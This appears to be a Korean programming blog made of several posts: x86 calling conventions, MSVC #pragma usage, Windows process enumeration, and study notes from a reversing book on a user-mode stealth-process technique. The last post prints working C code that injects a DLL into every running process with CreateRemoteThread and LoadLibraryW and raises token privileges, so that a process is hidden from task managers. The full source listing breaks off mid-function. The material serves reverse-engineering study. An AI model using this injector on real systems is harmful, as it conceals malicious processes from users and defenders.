0%

이번 포스팅에서는 Intel사의 X86 processor의 함수 호출 규약에 대해 알아볼 것입니다.


함수 호출 규약

함수 호출 규약은 컴퓨터에서 함수를 호출하고, 함수를 구현하기 위해서 정한 표준 규약이라고 보면 됩니다. 이러한 함수 호출 규약을 통해서 컴파일러가 어떻게 서브루틴(호출된 함수)에 접근할지를 정하게 됩니다

함수 호출 규약은 어떻게 만드냐에 따라 다르겠지만, 기본적으로 함수에 전달되는 인자를 어떻게 다룰지, 함수의 리턴 값을 어떻게 다룰지, 함수의 스택과 스택프레임을 어떻게 관리할지를 정해야 합니다

이러한 함수 호출 규약은 C/C++ 에서 작성된 함수들이 어셈블리 언어로 변경될 때 사용됩니다. C 언어에서 32-bit x86 시스템의 주요 3가지 함수 호출 규약은 STDCALL, CDECL, FASTCALL가 있습니다.

함수 호출 규약을 알기 전에 아래의 몇가지 용어에 대해 알아야합니다. 해당 용어의 의미는 해당 사이트에서 Notes on Terminology 항목을 참고 하시면 됩니다.

  • Passing arguments
  • Right-to-Left and Left-to-Right, Return value
  • Cleaning the stack, Calling function(the caller)
  • Called function(the callee)
  • Name Decoration(Name mangling)
  • Entry sequence(the function prologue)
  • Exit sqeuence(the function epliogue), Call sequence

C 언어 함수 호출 규약

앞서 언급했던 C 언어에서 사용되는 함수 호출 규약 CDECL, STDCALL, FASTCALL이 무엇인지 알아 볼것입니다.


CDECL 호출 규약

CDECL은 C언어에서 일반적으로 사용되는 함수 호출 규약 입니다. 이는 컴파일러마다 다르기 때문에 확인을 해봐야합니다. 그리고 프로그래머가 명시적으로 어떤 함수 호출 규약을 사용할지 명시적으로 지정을 할 수 있습니다. 명시적으로 어떤 함수 호출 규약을 사용할지 명시하는 방법은 ISO-ANSI 표준이 아니기 때문에 컴파일러에 따라 사용하는 방법이 다를 수 있습니다.

CDECL 호출 규약에서는 기본적으로 파라미터들은 스택에 오른쪽에서 왼쪽으로 쌓여서 전달되고, 리턴 값은 eax 레지스터에 집어 넣게 되어 있습니다. 그리고 호출 함수(The calling function)에서 스택을 정리합니다. 마지막으로 가변 인자 함수(va_start(), va_arg()를 사용하는 함수) 사용이 가능합니다. 컴파일러 또는 링커에서 해당 함수에서 파라미터의 개수가 적절하게 사용되었는지 확인을 할 수 없기 때문에 이부분은 전적으로 프로그래머한테 달려 있습니다.

일반적으로 CDECL 함수 호출 규약을 이용해서 함수를 정의한다면, 아래처럼 정의 할수 있습니다.

1
2
3
4
_cdecl int foo(int a, int b)
{
return a + b;
}

해당 함수를 사용한다면 아래와 같이 사용할 수 있습니다.

1
x = foo(2,3);

해당 함수를 어셈블리어로 바꾸면 다음과 같습니다. 해당 부분은 어셈블러마다 다를 수 있기 때문에 참고 사항으로 보면 됩니다.

  • 함수 내부
1
2
3
4
5
6
7
8
_foo:
push ebp
mov ebp, esp
mov eax, [ebp+8]
mov edx, [ebp+12]
add eax, edx
pop ebp
ret
  • 함수 호출 전/후
1
2
3
4
push 3
push 2
call _foo
add esp, 8

이처럼 C 언어로 작성된 함수를 어셈블리어로 변환해서 보면, 위에서 언급한 특징들이 보입니다. CDECL의 특징을 요약하면 다음과 같습니다.

  • 파라미터는 오른쪽에서 왼쪽으로 스택에 쌓여서 전달된다.
  • 리턴값은 eax에 저장된다.
  • Calling function에서 스택을 정리한다.
  • 가변인자 함수를 정의해서 사용할 수 있다.

STDCALL 호출 규약

STDCALL 호출 규약은 WINAPI로서 알려져 있고, 일반적으로 Microsoft에서 Win32 API의 표준 호츌 규약으로 사용됩니다. STDCALL은 Microsoft에 의해 엄격하게 정의되므로 이를 구현 하는 모든 컴파일러는 동일한 방식으로 작동된다고 합니다.

STDCALL 또한 CDECL처럼 파라미터는 오른쪽에서 왼쪽순으로 스택에 쌓이고, 리턴값은 eax에 저장됩니다. CDECL과 달리 호출된 쪽(THe called function)에서 스택을 정리를 합니다. 호출된 쪽에서 스택을 정리 하기 때문에 가변 인자 함수를 정의해서 사용할 수 없습니다.

STDCALL에서 가변 인자 함수를 정의해서 사용할 수 없는 이유는 C언어로 작성된 소스코드를 어셈블리어로 변환해서 보면 그 이유를 확실하게 알 수 있습니다. 해당 부분은 STDCALL을 이용해서 C 언어로 함수를 정의하는 방법, 함수 호출 방법, 어셈블리어로 정의하는 방법을 통해 알아봅시다

일반적으로 C 언어를 통해서 함수를 작성하는 방법은 다음과 같습니다.

1
2
3
4
_stdcall int foo(int a, int b)
{
return a + b;
}

다음은 C 언어로 작성된 함수 호출 방법 입니다.

1
x = foo(2, 3);

C 언어로 작성된 함수를 어셈블리어로 변환시 다음과 같습니다.

  • 함수 내부
1
2
3
4
5
6
7
8
:_foo@8
push ebp
mov ebp, esp
mov eax, [ebp+8]
mov edx, [ebp+12]
add eax, edx
pop ebp
ret 8
  • 함수 호출 전/후
1
2
3
push 3
push 2
call _foo@8

드디어 어셈블리로 변환되니 왜 STDCALL에서는 가변 인자 함수를 정의할 수 없는지 알 수 있습니다. 함수 내부를 살펴보면, CDECL과 달리 STDCALL은 호출된 쪽에서 스택을 정리한다는 것을 알 수 있습니다. 여기서 스택을 정리하는 기법은 ret instruction을 이용해서 합니다. 해당 ret instruction 문서를 살펴보면, “ret imm16” 1mm16에 적힌 값만큼 스택을 정리한다는 것을 알 수 있습니다. 여기서는 8바이트만큼 스택을 정리하기 위해서 ret 8을 사용했습니다. 이 때문에 STDCALL 함수 호출 규약을 이용해서는 가변 인자 함수를 정의할 수 없다는 것입니다.

만약에 STDCALL 함수가 가변 인자 정의 함수를 정의할 수 있다면, 인자의 갯수에 따라서 함수 내부가 매번 바껴야 합니다. 예를 들어, 4바이트 크기의 인자가 1개면 ret 4, 4바이트 크기의 인자가 5개면 ret 20 으로 함수 내부가 바껴야 한다는 것입니다. 그렇다면, 파라미터의 길이의 차이 때문에 파라미터의 길이가 다른 것들이 몇개 있는지에 따라서 함수 내부를 여러개 작성해줘야 합니다. 이는 비효율적이며 컴파일러에서 지원을 하지 않습니다. 이러한 이유 때문에 STDCALL 함수 호출 규약을 이용해서는 가변 인자 함수를 정의를 할 수 없는 것입니다.

그리고 STDCALL 일명 WINAPI는 CDECL과 달리 네임 맹글링 방법에서 한 가지 다른점이 존재합니다. CDECL에서는 함수 이름 앞에 언더바()를 붙이지만, STDCALL에서는 함수 이름 앞에 언더버()와 스택에 전달된 파라미터의 수로 붙이게 되어있습니다. 해당 수는 바이트 단위로 작성하게 되어 있고, 32비트 시스템에서는 항상 4의 배수로 작성하도록 되어 있습니다.

이처럼 C 언어로 작성된 함수를 어셈블리어로 변환해서 보면, 위에서 언급한 특징들이 보입니다. STDCALL의 특징을 요약하면 다음과 같습니다.

  • 파라미터는 오른쪽에서 왼쪽으로 스택에 쌓여서 전달된다.
  • 리턴값은 eax에 저장된다.
  • Called function에서 스택을 정리한다.
  • 가변인자 함수를 정의해서 사용할 수 없다.

FASTCALL 호출 규약

FASTCALL 호출 규약은 모든 컴파일러에서 표준 규약이 아니기 때문에 조심해서 사용해야 합니다. 함수를 정의할 때, 일반적으로 몇개의 파라미터는 레지스터를 통해서 전달되고, 나머지는 STDCALL 호출 규약처럼 오른쪽에서 왼쪽순으로 스택을 이용해서 전달됩니다. 따라서 파라미터에 수에 따라서 호출된 쪽(The called function)에서 스택을 정리할 때도 있습니다. 파라미터가 레지스터를 이용해서 전달되기 때문에 속도가 빠르다라는 특징 이외에는 STDCALL의 특징과 동일합니다.

참고 자료

x86 Disassembly/Calling Conventions - wiki

x86 calling conventions - wiki

Calling convention - wiki

Calling Conventions - MSDN

Intel x86 Function-call Conventions - Assembly View

해당 포스팅은 전처리 구문 중 하나인 #Pragma를 사용하는 방식에 대한 정리 글입니다.

Prama??

#Prama는 define 이나 include와 같이 #으로 시작하는 전처리 구문(Precompipler)의 하나라고 합니다.

MSVC(컴파일러)에만 존재하는 종송적인 명령어이므로, 컴파일러에 직접 정보를 전하기 위해서 사용된다고 합니다. 그래서 컴파일러를 변경했을 경우 실행을 보장을 하지 못한다고 합니다.

1. #pragma once

#pragma once는 컴파일러에게 한번만 컴파일 하라고 알려주는 전처리 구문이다. #define으로 각 헤더에 최소 값을 정의 해서 한번만 컴파일 되도록 했다.

1
2
3
4
5
6
7
// #pragma once 방법
#pragma once

// #define 방법
#ifndef _HEADER_H_
#define _HEADER_H_
#endif

2. #pragma comment()

#prgma comment(comment-type, comment string?) [] 안의 구문은 comment-type에 따라 필요한 경우에 사용한다고 합니다. comment-type에는 compiler, exestr, lib, linker, user 등이 올 수 있습니다.

  • subsystem 설정

프로젝트 관리에서 직접 서브 시스템을 바꿀 수도 있지만 #prgma comment() 방식을 이용해서도 변경이 가능하다.

1
2
#pragma comment(linker, "/subsystem:windows")
#pragma comment(linker, "/subsystem:console")
  • section 설정

코드 섹션, 데이터 섹션, init 섹션 등 다양한 섹션을 설정할 수 있습니다.

1
2
3
4
5
6
#pragma comment(linker, "SECTION:.SHARE,RWS")
#pragma data_seg(".SHARE")
...
공유하고 싶은 변수 목록 작성
...
#pragma data_seg()
  • 명시적(explicit) 라이브러리 링크 설정

명시적으로 라이브러리 링크를 설정하고 싶을 때, 원래대로 라면 프로젝트 관리 들어가서 링크 탭에서 링크 하고 싶은 라이브러리를 적어야 하지만, #pragma를 통해서 편하게 처리할 수 있습니다.

1
#pragma comment(lib, "Mylib.lib")

이것 이외에도 많은 방식으로 사용될 수 있다고 합니다. 해당 문서MSDN을 참고하면 됩니다.

CreateToolhelp32Snapshot() API 와 EnumProcesses() API를 통해서 시스템에 실행 중인 모든 프로세스를 검색하는 방법을 정리했습니다.

CreateToolhelp32Snapshot()

CreateToolhelp32Snapshot() API를 이용해서 프로세스에서 사용되는 힙, 모듈, 및 스레드의 스냅샷을 찍어서 프로세스에 대한 정보를 추출할 때 사용하는 함수입니다. 프로세스와 관련된 모든 부분을 검색할 수도 있고, 일부분만 검색 할 수도 있습니다.

CreateToolhelp32Snapshot() API는 Tlhelp32.h 헤더 파일에 정의되어 있습니다. 정의는 다음과 같습니다.

1
2
3
4
HANDLE CreateToolhelp32Snapshot(
DWORD dwFlags,
DWORD th32ProcessID
);
  • dwFlags

dwFlags 파라미터는 스냅샷을 찍을 때 어떻게 찍을지를 정합니다. 시스템의 모든 프로세스와 스레드의 정보를 가져올지, 아니면 프로세스만 가져올지, 아니면 모듈만 가져올지, 아니면 스레드만 가져올지 그러한 것들을 지정할 수 있읍니다.

해당 값에 자세한 정보는 MSDN에서 확인할 수 있습니다.

  • th32ProcessID

th32ProcessID 파라미터는 스냅샷에 포함될 프로세스의 식별자를 정합니다. 현재 프로세스를 나타낼 때는 NULL을 입력하면 됩니다. 만약에 TH32CS_SNAPHEAPLIST, TH32CS_SNAPMODULE, TH32CS_SNAPMODULE32, TH32CS_SNAPALL 값이 dwFlasgs 파라미터에 지정된 경우에는 th32ProcessID 파라미터를 사용하지만 그외의 경우에는 사용하지 않습니다.

예제

CreateToolhelp32Snapshot() API를 사용해봅시다. 해당 API를 사용해서 얻고 싶은 정보에 따라서 Heap32First(), Heap32Next(), Module32First(), Module32Next(), Process32First(), Process32Next() 들중 한가지를 골라서 사용을 해야 합니다. 여기 있는 것만이 다가 아니고, MSDN에 들어가면 사용할 수 있는 API들이 더 있습니다.

해당 예제에서는 Process에 대한 정보를 추출하고 싶은 것이기 때문에 Process32First() 와 Process32Next()를 선택했습니다.

Process32First()와 Process32Next()의 구조체 정의는 다음과 같습니다.

1
2
3
4
5
6
7
8
9
BOOL Process32First(
HANDLE hSnapshot,
LPPROCESSENTRY32 lppe
);

BOOL Process32Next(
HANDLE hSnapshot,
LPPROCESSENTRY32 lppe
);

파라미터로 CreateToolhelp32Snapshot() 함수를 통해서 얻은 스냅샷 핸들과 PROCESSENTRY32 구조체의 주소를 넘겨주면 됩니다. Process32First()와 Process32Next() 통해서 얻을 수 있는 정보는 PROCESSENTRY32 라는 구조체에 들어있는 데이터입니다. PROCESSENTRY32 구조체에서는 실행 파일 이름, 프로세스 ID, 부모 프로세스 ID와 같은 프로세스 정보들을 얻을 수 있습니다.

PROCESSENTRY32 구조체는 정의는 다음과 같습니다.

1
2
3
4
5
6
7
8
9
10
11
12
typedef struct tagPROCESSENTRY32 {
DWORD dwSize;
DWORD cntUsage;
DWORD th32ProcessID;
ULONG_PTR th32DefaultHeapID;
DWORD th32ModuleID;
DWORD cntThreads;
DWORD th32ParentProcessID;
LONG pcPriClassBase;
DWORD dwFlags;
CHAR szExeFile[MAX_PATH];
} PROCESSENTRY32;
  • dwSize

    구조체의 크기입니다. Process32First 함수를 호출하기 전에 sizeof(PROCESSENTRY32)으로 초기화 시켜줘야합니다. 초기화 시키지 않으면 Process32First 함수 호출을 실패합니다.

  • cntUsage

    이 멤버는 더 이상 사용하지 않으며 항상 0으로 설정됩니다.

  • th32ProcessID

    프로세스 ID

  • th32DefaultHeapID

    이 멤버는 더 이상 사용하지 않으며 항상 0으로 설정됩니다.

  • th32ModuleID

    이 멤버는 더 이상 사용하지 않으며 항상 0으로 설정됩니다.

  • cntThreads

    프로세스가 시작한 실행 스레드 개수

  • th32ParentProcessID

    이 프로세스를 생성한 프로세스의 ID(부모 프로세스)

  • pcPriClassBase

    이 프로세스에서 작성된 스레드의 기본 우선 순위

  • dwFlags

    이 멤버는 더 이상 사용되지 않으며 항상 0으로 설정됩니다.

  • szExeFile

    프로세스의 실행 파일 이름입니다. 실행 파일의 전체 경로를 검색하려면 Module32First 함수를 호출하고 리턴 되는 MODULEENTRY32 구조 의 szExePath 멤버를 확인하십시오 . 그러나 호출 프로세스가 32 비트 프로세스 인 경우 QueryFullProcessImageName 함수를 호출하여 64 비트 프로세스에 대한 실행 파일의 전체 경로를 검색 해야합니다.


소스코드

이렇게 CreateToolhelp32Snapshot() API, Process32First() API, Process32Next() API를 적절하게 사용하면 프로세스 ID와 프로세스 이름을 구할 수 있습니다. 아래의 코드는 프로세스 ID와 프로세스 이름을 구하는 소스코드 입니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include "stdio.h"
#include "windows.h"
#include "tlhelp32.h"
#include "tchar.h"

int main(int argc, char* argv[])
{
HANDLE hSnapShot;
PROCESSENTRY32 pe;

pe.dwSize = sizeof(PROCESSENTRY32);
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);

Process32First(hSnapShot, &pe);
while (1)
{
_tprintf(_T("PID: %u \tProcess Name : %s\n"), pe.th32ProcessID, pe.szExeFile);

if (!Process32Next(hSnapShot, &pe))
{
CloseHandle(hSnapShot);
return 0;
}
}
}

EnumProcesses()

EnumProcesses() API 이용해서 프로세스 ID의 정보를 얻어낼 수 있습니다. 이를 통해서 프로세스의 정보를 알아낼 수 있습니다.

EnumProcesses() API는 Psapi.h 헤더 파일에 정의되어 있습니다. 정의는 다음과 같습니다.

1
2
3
4
5
BOOL EnumProcesses(
DWORD *lpidProcess,
DWORD cb,
LPDWORD lpcbNeeded
);
  • lpidProcess

lpidProcess 파라미터는 프로세스 ID 목록을 받는 배열에 대한 포인터를 지정하면 됩니다.

  • cb

lpidProcess 배열의 크기를 지정하면 됩니다.

  • lpcbNeeded

lpidProcess 배열에 반환된 바이트 수입니다.


EnumProcess() API를 호출 할 때 얼마나 많은 프로세스가 있을지 예측하기 어렵기 때문에 큰 배열을 사용해서 프로세스의 ID를 구하는 것이 바람직합니다.

프로세스 목록을 확인하려면 lpcbNeeded 파라미터에 입력된 변수의 값을 sizeof(DWORD)로 나누면 프로세스의 개수를 얻을 수 있습니다. 만약에 버퍼가 작아서 모든 프로세스를 식별을 하지 못했다면, 더 큰 배열로 다시 시도하면 됩니다.

배열에는 함수의 프로세스의 ID를 얻었으면, 프로세스 ID가 들어가게 됩니다. 배열안에 프로세스 ID가 있다는 것을 확인했으면, OpenProcess 함수를 호출해서 프로세스 핸들을 얻고, 프로세스의 정보를 추출하면 됩니다.
프로세스 정보를 추출할 수 있는 API들은 psapi.h 헤더 파일을 참고 하시면 됩니다.


예제

이때, 프로세스의 이름을 얻기 위해 사용된 API는 EnumProcessModules() 과 GetModuleBaseName() 입니다. EnumProcessModule()을 이용해서 프로세스에서 사용되는 모듈 핸들을 얻고, GetModuleBaseName()을 이용해서 프로세스 이름을 얻는 방식입니다. 자세한 정보는 MSDN에서 검색하면 됩니다.

소스코드

아래의 코드는 EnumProcesses() API, EnumProcessModule() API, GetModuleBaseName() API를 이용해서 프로세스의 ID와 프로세스 이름을 얻는 소스 코드입니다. 해당 코드는 MSDN의 예제 소스 코드입니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include "stdio.h"
#include "windows.h"
#include "tchar.h"
#include "psapi.h"

void ProcessSearch(DWORD dwPID)
{
TCHAR szProcName[MAX_PATH] = _T("<unknown>");
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwPID);

if (NULL != hProcess)
{
HMODULE hMod;
DWORD cbNeeded;

if (EnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded))
{
GetModuleBaseName(hProcess, hMod, szProcName, sizeof(szProcName) / sizeof(TCHAR));
}
}
_tprintf(_T("PID: %u \tProcess Name : %s\n"), dwPID, szProcName);

CloseHandle(hProcess);
}
int main(int argc, char* argv[])
{
DWORD Processes[1024], cbNeeded, cProcesses;

if (!EnumProcesses(Processes, sizeof(Processes), &cbNeeded))
return 1;

cProcesses = cbNeeded / sizeof(DWORD);
for (int i = 0; i < cProcesses; ++i)
{
if (Processes[i] != 0)
{
ProcessSearch(Processes[i]);
}
}

return 0;
}

참고자료

CreateToolhelp32Snapshot()

PROCESSENTRY32 구조체

EnumProcess()

EnumProcessModule()

GetModuleBaseName()

Process Search using EnumProcess

일명 나뭇잎 책이라고 불리는 리버싱 핵심 원리 책을 보면서, 배운 내용을 정리하는 포스팅입니다.

해당 포스팅에서는 API 후킹 방법을 이용해서 유저 모드에서 StealthProcess를 만드는 기법을 배웁니다.


들어가기에 앞서

스텔스 프로세스를 만드는 방법을 알기전에 API 후킹 방법중 코드 패치를 이용하는 방식에 대해 알아야 합니다. 핵심 부분을 말하자면 프로세스 메모리에 로딩된 라이브러리 이미지에서 후킹을 원하는 API 코드를 수정하는 방법입니다. 해당 내용에 대해 더 자세히 알고 싶다면, Windows API Hooking - Code Patch 참고하시면 됩니다.


스텔스 프로세스

특정 프로세스를 은폐시키기 위해서는 다른 모든 프로세스의 메모리에 침투하여 API를 후킹하는 것이 유저 모드에서 구현 가능한 스텔스 프로세스라고 합니다. 작업 대상은 자기 자신이 아니라 다른 프로세스입니다.

프로세스는 커널 객체이기 때문에 유저 모드 프로그램에서는 직접적으로 접근할 수 있는 방법이 없습니다. 따라서 API를 통해서만 검색 및 접근을 할 수 있다. 일반적으로 유저 모드에서 프로세스를 검색하기 위한 API가 2종류가 있다고 합니다.

    1. CreateToolhelp32Snapshot() & EnumProcesses()
1
2
3
4
5
6
7
8
9
10
HANDLE CreateToolhelp32Snapshot(
DWORD dwFlags,
DWORD th32ProcessID
);

BOOL EnumProcesses(
DWORD *lpidProcess,
DWORD cb,
LPDWORD lpcbNeeded
);

CreateToolhelp32Snapshot() API 같은 경우에는 프로세스에서 사용되는 힙, 모듈, 및 스레드의 스냅샷을 찍어서 프로세스에 대한 정보를 추출할 떄 사용하는 함수입니다. 프로세스와 관련된 모든 부분을 검색할 수도 있고, 일부분만 검색을 할 수 있습니다. 자세한 사항은 MSDN에서 검색해보시면 알 수 있습니다.

EnumProcesses() API 같은 경우에는 프로세스 ID의 정보를 넘겨 받을 수 있는 함수입니다. 이를 이용해서 MSDN에서 제공해주는 예제처럼 프로세스 이름과 ID를 알아낼 수 있습니다.

-> 해당 예제 실습은 여기서 확인.

위 2가지 API들은 모두 내부적으로 ntdll.ZwQuerySystemInformation() API를 호출한다고 합니다.

    1. ZwQuerySystemInformation()
1
2
3
4
5
6
NTSTATUS WINAPI ZwQuerySystemInformation(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);

ZwQuerySystemInformation() API를 이용하면 실행 중인 모든 프로세스의 구조체를 연결 리스트 형태로 얻을 수 있다고 합니다. 그 연결 리스트를 조작하면 해당 프로세스를 은폐 시킬 수 있게 됩니다.

그렇기에 유저 모드에서는 CreateToolhelp32Snpshort() 또는 EnumProcesses() API를 따로 후킹할 필요 없이 ZwQuerySystemInformation() API 하나만 후킹하면 확실하게 원하는 프로세스를 은폐 시킬 수 있다고 합니다.


해당 기법의 문제점

해당 기법을 통해서 하고 싶은 행위는 procexp.exe(프로세스 익스플로러), taskmgr.exe(윈도우 작업 관리자) 같은 프로세스 검색 유틸리티한테서 특정 프로세스를 숨기고 싶은 것입니다.

하지만 프로세스 검색 유틸리티는 이 두가지만 있는 것이 아닙니다. 수많은 프로세스 검색 유틸리티가 존재할 수도 있고, 사용자가 직접 만든 유틸리티도 있을 수 있습니다. 따라서
시스템에 실행 중인 모든 프로세스를 후킹해야만 특정 프로세스가 은폐되었다고 볼 수 있습니다. 또한, 후킹을 하고 난후에 나중에 프로세스 검색 유틸리티가 실행이 되었다면, 나중에 실행된 유틸리티는 후킹되지 않았으므로 특정 프로세스를 검색할 수 있습니다. 따라서 나중에 실행되는 프로세스 검색 유틸리티 또한 자동으로 후킹될 수 있도록 작성해야지 특정 프로세스가 은폐되었다고 볼 수 있습니다.

이러한 문제점을 가지고 있기 때문에 글로벌 후킹의 개념이 생겨났습니다. 시스템에 실행 중인 모든 프로세스를 후킹하고, 나중에 실행되는 모든 프로세스에 대해서도 후킹을 하는 것이 글로벌 후킹입니다.

먼저, 단순한 코드 패치를 통해서 스텔스 프로세스를 만드는 방법을 익히고, 다음 포스팅에서 글로벌 후킹을 통해서 문제점을 해결하는 방법을 익힐 예정입니다.


분석

나뭇잎 책에서 실습할 수 있도록, DLL을 인젝션할 수 있는 HideProc.exe 와 Stealth.dll 파일을 제공을 했습니다. Stealth.dll은 인젝션된 프로세스의 ntdll.ZwQuerySystemInformation() API를 후킹하는 역할을 합니다.


HideProc.exe -> HookProc.cpp

HideProc.exe은 DLL을 인젝션 할 수 있는 인젝터입니다. 나뭇잎책에서 제공되어진 인젝터랑 다른 점은 InjectAllProcess() 함수 부분입니다.

InjectAllProcess() 함수에서 CreateTool32SnapShot() API를 이용해서 시스템에 실행 중인 모든 프로레스 리스트를 얻어내고, Process32First()와 Process32Next() API를 이용해서 프로세스 PID를 구하는 것을 확인할 수 있습니다.

이렇게 구해진 프로세스 PID를 가지고, 모든 프로세스한테 DLL을 인젝션합니다. 이때, 시스템 PID가 100 미만 프로세스들은 인젝션을 수행하지 않는데, 시스템 안정성 떄문에 그렇습니다. 실습 환경에 따라서 해당 부분은 적절하게 조절하면 됩니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath)
{
DWORD dwPID = 0;
HANDLE hSnapShot = INVALID_HANDLE_VALUE;
PROCESSENTRY32 pe;

// Get the snapshot of the system
pe.dwSize = sizeof(PROCESSENTRY32);
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);

// find process
Process32First(hSnapShot, &pe);
do
{
dwPID = pe.th32ProcessID;

// 시스템의 안정성을 위해서
// PID 가 100 보다 작은 시스템 프로세스에 대해서는
// DLL Injection 을 수행하지 않는다.
if (dwPID < 100)
continue;

if (nMode == INJECTION_MODE)
InjectDll(dwPID, szDllPath);
else
EjectDll(dwPID, szDllPath);
} while (Process32Next(hSnapShot, &pe));

CloseHandle(hSnapShot);

return TRUE;
}

하지만 Windows10 64bit 환경에서 인젝터가 중간에 멈추는 현상을 발견을 했습니다. 해당 코드를 확인 해보니 InjectDll() 함수내의 코드중 WaitForSingleObject()에서 쓰레드가 종료될 떄까지 무한히 기다리고 있다는 것을 알게 되었습니다. 그래서 시스템에서 실행 되고 있는 프로세스 중에서 CreateRemoteThread() API를 이용해서 DLL 인젝션이 되지 않는 프로세스가 있구나를 알게 되었습니다. 여기서의 목적은 프로세스 검색 유틸리티에 Stealth.dll을 인젝션해서 은폐 프로세스를 못보게 하는 것이라서 WaitForSingleObject(hThread,INFINITE); 를 WaitForSingleObject(hThread,1000); 으로 바꿨습니다. 이때, DLL 인젝션이 되지 않는 프로세스가 프로세스 검색 유틸리티가 아니라서 가능한 방법이었습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath)
{
HANDLE hProcess, hThread;
LPVOID pRemoteBuf;
DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);
LPTHREAD_START_ROUTINE pThreadProc;

if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)))
{
printf("OpenProcess(%d) failed!!!\n", dwPID);
return FALSE;
}

pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize,
MEM_COMMIT, PAGE_READWRITE);

WriteProcessMemory(hProcess, pRemoteBuf,
(LPVOID)szDllPath, dwBufSize, NULL);

pThreadProc = (LPTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(L"kernel32.dll"),
"LoadLibraryW");
hThread = CreateRemoteThread(hProcess, NULL, 0,
pThreadProc, pRemoteBuf, 0, NULL);
WaitForSingleObject(hThread, 1000);

VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);

CloseHandle(hThread);
CloseHandle(hProcess);

return TRUE;
}

그리고, 그전에 HideProc.exe 프로세스의 권한을 상승시켜 놓아야지 전체 프로세스의 리스트를 정확하게 얻을 수 있습니다. 해당 코드에서 SetPrivilege() 함수를 보면, 내부적으로 AdjustTokenPrivileges() API 호출을 이용하여 프로세스의 권한을 상승시키는 것을 볼 수 있습니다. 하지만 프로세스의 권한을 상승시키지 않아도 프로세스의 리스트를 어느정도 뽑을 수 있고, DLL 인젝션도 정상적으로 동작합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
{
TOKEN_PRIVILEGES tp;
HANDLE hToken;
LUID luid;

if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken))
{
printf("OpenProcessToken error: %u\n", GetLastError());
return FALSE;
}

if (!LookupPrivilegeValue(NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid)) // receives LUID of privilege
{
printf("LookupPrivilegeValue error: %u\n", GetLastError());
return FALSE;
}

tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;

// Enable the privilege or disable all privileges.
if (!AdjustTokenPrivileges(hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL))
{
printf("AdjustTokenPrivileges error: %u\n", GetLastError());
return FALSE;
}

if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{
printf("The token does not have the specified privilege. \n");
return FALSE;
}

return TRUE;
}

전체 소스 코드 -> HookProc.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
#include "windows.h"
#include "stdio.h"
#include "tlhelp32.h"
#include "tchar.h"

typedef void (*PFN_SetProcName)(LPCTSTR szProcName);
enum { INJECTION_MODE = 0, EJECTION_MODE };

BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
{
TOKEN_PRIVILEGES tp;
HANDLE hToken;
LUID luid;

if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken))
{
printf("OpenProcessToken error: %u\n", GetLastError());
return FALSE;
}

if (!LookupPrivilegeValue(NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid)) // receives LUID of privilege
{
printf("LookupPrivilegeValue error: %u\n", GetLastError());
return FALSE;
}

tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;

// Enable the privilege or disable all privileges.
if (!AdjustTokenPrivileges(hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL))
{
printf("AdjustTokenPrivileges error: %u\n", GetLastError());
return FALSE;
}
